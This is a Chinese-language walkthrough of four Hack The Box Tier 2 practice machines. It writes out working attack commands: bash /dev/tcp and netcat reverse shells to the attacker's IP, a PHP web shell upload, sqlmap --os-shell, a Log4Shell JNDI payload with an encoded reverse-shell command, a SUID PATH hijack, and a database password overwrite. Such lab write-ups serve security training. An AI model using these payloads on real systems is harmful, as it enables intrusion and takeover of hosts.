Hack the box -- 靶机渗透测试(TIER2)

  • 写在前面
    • Archetype
    • Oopsie
    • Vaccine
    • Unified

写在前面

本文针对Hack the box 靶机TIER2渗透过程进行记录。

Archetype

开启在线靶机,靶机IP为10.129.88.20。

  1. 端口扫描
    扫描命令 sudo nmap -sC -sV 10.129.88.20


    发现1443端口开启了smb服务,所以尝试使用smbclient连接。

  2. smbclient连接
    命令为:smbclient -N -L 10.129.88.20(-N表示无密码登录,-L可以查看服务器上可用服务)

    通过查找发现在backups目录下存在一个配置文件prod.dtsConfig,将其下载本地进行分析。

    从中发现用户名与密码为password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc。所以尝试使用其进行mysql数据库登录。

  3. mssqlclient连接数据库
    工具:impacket
    下载地址:https://github.com/SecureAuthCorp/impacket

    输入命令:mssqlclient.py ARCHETYPE/sql_svc@10.129.88.20 -windows-auth
    (-windows-auth:确认使用windows认证)

    通过help 查看可用命令,发现可以使用cmd指令。

    尝试执行cmd语句,发现由于安全配置,该命令被关闭。由上述可用命令发现 enable_xp_cmdshell可开启。

    发现配置成功。

    再次尝试执行cmd语句,执行成功。

  4. 尝试建立稳定的反弹shell
    二进制文件下载地址:https://github.com/int0x33/nc.exe/blob/master/nc64.exe?source=post_page-----a2ddc3557403----------------------
    首先在本地开启http服务,sudo python3 -m http.server 80

    开启监听端口

    尝试使用powershell 的wget命令下载我们的反弹shell文件。

    从我们的http服务显示中,目标主机发送了get请求,说明下载成功。

    执行所下载的nc64.exe文件

    监听端口成功收到反弹shell

  5. 权限提升
    通过whoami命令发现当前用户为archetype\sql_svc,所以尝试提升权限。

    工具使用:winPEASx64.exe
    下载地址:https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe
    同样是用powershell 的wget命令下载到目标主机。


    执行文件 .\winPEASx64.exe 发现powershell的历史文件consoleHost_history.txt中可能有线索。

    打印文件,成功发现账户密码:administrator:MEGACORP_4dm1n!!

  6. administrator 登录

    在Administrator的桌面下成功找到Flag

Oopsie

开启在线靶机,靶机IP为10.129.133.78。

  1. 端口扫描
    扫描命令 sudo nmap -sC -sV 10.129.133.78,发现目标主机开了22端口的ssh服务和80端口的http服务。

  2. http服务查看
    打开页面,点击各个按钮与查看源代码后,发现没有连接到其他的url,所以尝试使用burpsuite进行隐藏目录查看。

  3. burpsuite目录查看
    发现该站点下有个cdn-cgi/login目录。

    进入login页面查看,发现是个后台登录界面。再尝试弱密码如admin:admin root:admin和简单的sql注入发现无法登录。

    发现还有一个选项 login as Guest,点击后页面如下,发现有个uploads选项。

    点击后提示需要admin权限,所以尝试修改cookie。

  4. cookie修改
    点击account,发现显示了ID和用户名,同时url变为了http://10.129.239.233/cdn-cgi/login/admin.php?content=accounts&id=2。尝试修改id值会回显什么。

    将id=1后,页面返回了admin的信息。所以尝试修改cookie,以admin权限登录。

    页面右键选择inspect element,cookies在storage菜单下。


    将value中的guest:2233修改为admin:34322,点击uploads,发现成功进入。

  5. 上传reverse shell
    kali在**/usr/share/webshells/**目录下有相关的shell文件,选用PHP中的php-reverse-shell.php。首先需要对文件进行修改,将ip改为本机IP,端口改为想要监听的端口。


然后需要找到uploads在哪个目录下,从而执行我们上传的文件。
通过gobuster进行目录爆破,执行命令:gobuster dir --url http://10.129.239.233/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php

发现就在uploads目录下,但是进入该目录下缺提示没有权限访问。

尝试是否可以直接运行该目录下的文件,首先开启监听端口

url输入http://10.129.239.233/uploads/php-reverse-shell.php,成功反弹shell。

使用**python3 -c’import pty;pty.spawn(“/bin/bash”)'**可以使得shell更加完整。

  1. 横向移动
    通过查找网站中的文件发现用户名与密码robert:M3g4C0rpUs3r!(说明:由于之前端口扫描发现使用的是apache,其默认路径为/var/www/html,所以优先寻找该目录下的文件)

通过 cat /etc/passwd 命令查看当前是否存在robert用户,发现果然存在(倒数第二个)。

尝试切换用户,横向移动成功。

回到robert更目录找到user.txt

  1. 权限提升
    通过id 查看(显示用户的ID,以及所属群组的ID)。发现robert属于bugtracker。

    通过find / -group bugtracker 2>/dev/null 命令查看bugtracker可以操作的文件。发现一个同名文件bugtracker。

    发现该文件的所有者为root,且权限带有s,表示SUID (Set owner User ID)。说明该文件执行时是以所有者的身份(即root)运行的。

    尝试使用该文件,提示输入bug id,这里随便输入一个1。

再次输入一个数字,发现他是使用cat命令进行打印,如果没有该编号的报告就会报错。这里发现所使用的cat命令没有进行路径指定,所以可以尝试添加环境变量执行我们想要执行的cat

首先,在 /tmp目录下创建一个cat文件写入 /bin/sh,并添加可执行权限。

添加环境变量 tmp

再次执行bugtracker,且id填写任意id,权限成功提升为root。

在root文件夹下成功找到Flag

Vaccine

开启在线靶机,靶机IP为10.129.127.22。

  1. 端口扫描
    扫描命令:sudo nmap -sC -sV 10.129.127.22。开启21端口ftp服务、22端口的ssh以及80http服务

  2. ftp连接
    输入命令:ftp 10.129.127.22,用户名为anonymous,密码为空,登录成功。发现有个名为backup.zip的压缩文件,下载到本地进行分析。

    解压backup文件,提示需要password。在尝试弱密码失败后,使用john the ripper暴力破解。

    先将backup.zip 哈希化。

    输入命令 john -wordlist=/usr/share/wordlists/rockyou.txt hashes进行破解。破解密码为741852963

    重新解压backup.zip文件,输入破解密码741852963,解压成功。

    打印index.php,发现用户名与密码 admin:2cb42f8734ea607eefed3b70af13bbd3。

    但是密码应该时被hash过,所以尝试破解。
    首先使用hashid判断类型,尝试用MD5破解。

    写入文件hash.txt

    输入命令:hashcat -a 0 -m 0 hash.txt /usr/share/wordlists/rockyou.txt 进行破解。破解结果为:qwerty789
    (参数说明:-a 表示攻击模式,0表示暴力破解;-m表示hash类型,0表示MD5)

  3. 登录后台
    输入admin:qwerty789尝试登录

    登录成功

  4. sql注入

在搜索框输入1后发现url变为http://10.129.154.151/dashboard.php?search=1,可能存在SQL注入。

工具使用:sqlmap
由于是登录后的界面所以需要正确cookies,否则无法访问。

执行命令:sqlmap -u ‘http://10.129.154.151/dashboard.php?search=any+query’ --cookie=“PHPSESSID=6r49qb1ev7u71hf74drkg9p0qq”


显示存在SQL注入,修改命令:sqlmap -u ‘http://10.129.154.151/dashboard.php?search=any+query’ --cookie=“PHPSESSID=6r49qb1ev7u71hf74drkg9p0qq” --os-shell 获取shell

成功获取shell。

为了使shell更加稳定和可交互,在本地开启监听服务

原shell执行:bash -c “bash -i >& /dev/tcp/{your_IP}/443 0>&1”

监听端口成功反弹shell(输入:python3 -c 'import pty;pty.spawn(“/bin/bash”)'使得shell可完整交互)


用户flag成功找到。

  1. 权限提升
    通过sudo -l 查看当前用户权限,发现需要密码。

先看网站目录下有什么发现

在dashboard.php中我们找到了用户名与密码,postgres:P@s5w0rd!

  1. 重新输入sudo -l 密码输入P@s5w0rd!。发现postgres用户可以执行**/bin/vi /etc/postgresql/11/main/pg_hba.conf**

    这里会发现shell会自动断开,由于我们知道了用户名与密码,所以我们尝试更加稳定的ssh连接。

    尝试通过vi 建立shell(详情参考:https://gtfobins.github.io/gtfobins/vi/#sudo)
    输入:sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf -c ‘:!/bin/sh’/dev/null,提示没有权限。

    所以先进入pg_hba.conf文件,输入:sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf。

    然后键盘输入**: set shell=/bin/sh回车再输入:: shell**,成功获取root权限。


成功获取root Flag

Unified

开启在线靶机,靶机IP为10.129.208.78。

  1. 端口扫描
    扫描命令:sudo nmap -sC -sV 10.129.96.149

  2. 查看web页面
    输入10.129.96.149:8443,发现使用的使unifi 6.4.54的登陆界面。google unifi 6.4.54可以发现存在 CVE-2021-44228 漏洞。
    (详情参考:https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire-unifi)

  3. 漏洞利用
    首先使用burpsuite设置浏览器代理。(注:此代理设置为firefox浏览器过程)
    找到“代理”选项,选择“设置”。

    选择手代理配置,该ip地址与端口应与burpsuite一致(详情参考链接: link)


    代理成功后,返回unifi登陆界面,开启burpsuite interception

    在页面输入任意用户名密码(此处输入为test:test)

    burpsuite成功拦截到流量信息为:

    选择send to Repeater,或者快捷键 Ctrl+R。

    修改remember字段的值为:“${jndi:ldap://{本机IP}/whatever}”点击send发送。Response显示"api.err.InvalidPayload",说明Payload被执行了只是不存在。

    然后使用tcpdump开启389端口监听LDAP连接,

    重新点击send。发现成功接收到LDAP连接信息。

  4. 构建payload,实现远程代码执行
    工具使用:Open-JDK;Maven;rogue-jndi
    (下载命令:sudo apt install openjdk-11-jdk -y ;sudo apt-get install maven;git clone https://github.com/veracode-research/rogue-jndi)
    完成上述下载后进入rogue-jndi目录执行mvn package(注:需要科学上网,不然可能会编译失败)
    编译成功后会在生成RogueJndi-1.1.jar文件在 /target 目录下。

    然后执行echo ‘bash -c bash -i >&/dev/tcp/10.10.16.5/1234 0>&1’ |base64(10.10.16.5为本机IP,1234为接受shell端口)

    在rogue-jndi目录下,执行:java -jar target/RogueJndi-1.1.jar --command “bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuNS8xMjM0IDA+JjEK}|{base64,-d}|{bash,-i}” --hostname “10.10.16.5”
    开启监听端口。

    回到burpsuite,修改remember字段值为:“${jndi:ldap://10.10.16.5:1389/o=tomcat}”,点击send

    此时我们开启的服务接收到信息

    成功收到shell,输入:script /dev/null -cbash,使shell更加完整。

    找到user.txt flag

  5. 权限提升
    由于UniFi默认使用MongoDB作为数据库,所以我们先查看MongoDB是否运行。
    (详情参考:https://erikdekker.net/ubiquity/unifi/2020/05/09/reset-unifi-password.html)
    输入:ps aux | grep mongo,发现MongoDB运行在27117端口。

    通过命令:mongo --port 27117 ace --eval “db.admin.find().forEach(printjson);查询到administrator相关信息,发现x_shadow字段很大概率是哈希加密过的密码,所以尝试破解。

    通过hashid 发现其为SHA-512加密,尝试暴力破解失败。换一种思路,修改其x_shadow的值为我们设定的密码。

    使用工具:mkpasswd
    输入命令:mkpasswd -m sha-512 Password1111

    输入命令:mongo --port 27117 ace --eval 'db.admin.update({”_id":ObjectId(“61ce278f46e0fb0012d47ee4”)},{$set:{“x_shadow”:“666ts6U3ZTuaNvRemqd$rJQZh/.7SLFoLe5Wjh0xbnbkir82qY/lFuzUsUAJCrRcbjJQ/.SA/wxfM1PweMEBSYdFrrw4P3QFyrSoCBQHJ/”}})’
    再次输入mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);查看发现修改成功。

    返回unifi登陆界面输入用户名密码:administrator:passwd1111,登陆成功。

    通过查找发现在settings->site中允许ssh连接,并且得到用户名与密码root:NotACrackablePassword4U2022。

    所以我们尝试以root用户登陆目标主机,登陆成功。找到root.txt Flag

Hack the box -- 靶机渗透测试(TIER2)相关推荐

  1. CH4INRULZ靶机渗透测试

    CH4INRULZ靶机渗透测试 环境 工具 流程 环境 kali攻击机 192.168.1.105 靶机 192.168.1.103 工具 hackbar,netdiscover,nmap,searc ...

  2. DC-2靶机渗透测试流程

    目录 一.DC-2靶机搭建 二.收集信息. 三.访问80端口,发现超时. 1.修改hosts文件 2.访问http://dc-2成功. ​四.目录扫描,拿到重要信息. 1.使用kali自带工具dirb ...

  3. 靶机渗透测试(covfefe)

    靶机渗透测试(covfefe) Vulnhub靶机 covfefe 靶机:修改靶机的网络配置为桥接模式. 攻击机:Kali虚拟机,同样使用桥接模式,即可访问靶机. 靶机难度:(Intermediate ...

  4. 靶机渗透测试(Tre: 1)

    靶机渗透测试(Tre: 1): Vulnhub靶机 Tre: 1 靶机:修改靶机的网络配置为桥接模式. 攻击机:Kali虚拟机,同样使用桥接模式,即可访问靶机. 靶机难度:(Intermediate) ...

  5. DC-3靶机渗透测试

    DC-3靶机渗透测试 环境搭建 kali-Linux(VMware) DC-3(VMware)靶机下载链接:https : //download.vulnhub.com/dc/DC-3-2.zip 这 ...

  6. 靶机渗透测试(unknowndevice64: 1)

    靶机渗透测试(unknowndevice64: 1): Vulnhub靶机 unknowndevice64: 1 靶机:修改靶机的网络配置为桥接模式. 攻击机:Kali虚拟机,同样使用桥接模式,即可访 ...

  7. Eric靶机渗透测试通关全教程

    环境准备 联不联网无所谓,主要是要在同一网段下 靶机:Eric 攻击机:Kali (192.168.56.102) 渗透目标 拿到普通用户下的flag 拿到root用户下的flag 渗透测试实战 已知 ...

  8. DC-5靶机渗透测试

    渗透测试 靶机所需环境 信息收集 漏洞利用 上传一句话shell 蚁剑连接 权限提升 文件生成 文件一 文件二 文件三 获取root权限 靶机所需环境 目标靶机:DC-5(192.168.160.15 ...

  9. Hack The Box靶机——Ambassador

    文章目录 前言 一.Web部分 二.提权部分 前言 难度:中等,Hack The Box网站在线靶机.本文涉及知识点有:Grafana系统任意文件读取,CURL下载文件,SSL本地端口转发,Consu ...

  10. Eric靶机渗透测试

    Eric靶机渗透练习 攻击机:kali Ip:192.168.0.3 靶机:eric Ip:192.168.0.4 找到靶机ip:192.168.0.4 nmap -sF 192.168.0.0/24 ...

最新文章

  1. 用NumPy genfromtxt导入数据
  2. jquery selector 使用方法
  3. linux获取java环境变量的值,linux获取java环境变量的值
  4. VTK:八叉树时序用法实战
  5. SAP CRM webclient ui里直接编写原生的JavaScript
  6. php一对多聊天程序代码,微信小程序实现一对多发消息
  7. echarts 时间曲线图_制作按时间每秒实时更新的echarts折线图
  8. Python获取两个列表list的不同之处
  9. SugarCRM 去掉 header 应用程序 下拉菜单
  10. vs code中英文标点符号自动更改
  11. 被晨光搁浅的誓言无声
  12. Symbian游戏编程入门 (一) Symbian OS简介
  13. 系统更换数据库oracle到mysql问题汇总
  14. 浅聊WebRTC视频通话
  15. EventBus报错:and its super classes have no public methods with the @Subscribe annotation
  16. 点击密码框显示密码(点击密码框小眼睛可显示输入密码)
  17. 物联网卡传感器赋能零售商品感应机制 开启智能零售新风尚
  18. Android客户端访问服务器保持SESSION会话的实现
  19. 秒杀ecshop的前台写shell 0day
  20. 3.1 Web前端:实战电商页面1:静态布局

热门文章

  1. 网易云音乐歌词python
  2. word 如何快速比较两个文档的区别
  3. java 3des解密_Java进行3DES加密解密详解
  4. n维椭球体积公式_考前必背!数量关系、资料分析常用公式汇总!不再头大!...
  5. 凸包, 圆角矩阵凸包, 点的旋转,任意多边形外角和为360度, 绕着某点进行旋转
  6. WPS 关闭热点推送通知
  7. 前台服务java.lang.SecurityException: Permission Denial: startForeground
  8. NPS净推荐值 客户忠诚度指标
  9. PHP+Javascript实现拖动滑块完成拼图验证码
  10. RK3399外设驱动之MIPI